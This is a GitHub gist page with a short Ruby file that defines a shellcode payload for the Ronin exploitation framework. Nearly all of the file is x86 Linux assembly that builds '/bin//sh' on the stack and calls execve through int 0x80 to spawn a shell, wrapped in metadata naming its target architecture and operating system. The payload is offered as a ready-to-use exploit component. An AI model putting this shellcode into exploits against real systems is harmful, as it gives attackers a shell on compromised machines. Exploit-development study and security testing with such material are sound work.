public
Created

Example of a Ronin Shellcode payload, written in pure Ruby.

  • Download Gist
local_shell.rb
Ruby
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
#!/usr/bin/env ronin-payload -f
 
require 'ronin/payloads/shellcode'
 
Ronin::Payloads::Shellcode.object do
 
cache do
self.name = 'local_shell'
self.description = %{
Shellcode that spawns a local /bin/sh shell
}
 
author(:name => 'Postmodern')
 
targets_arch :x86
targets_os :name => 'Linux'
end
 
build do
shellcode do
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov esp, ebx
push eax
push ebx
mov esp, ecx
xor edx, edx
mov 0xb, al
int 0x80
end
end
 
end

Please sign in to comment on this gist.

Something went wrong with that request. Please try again.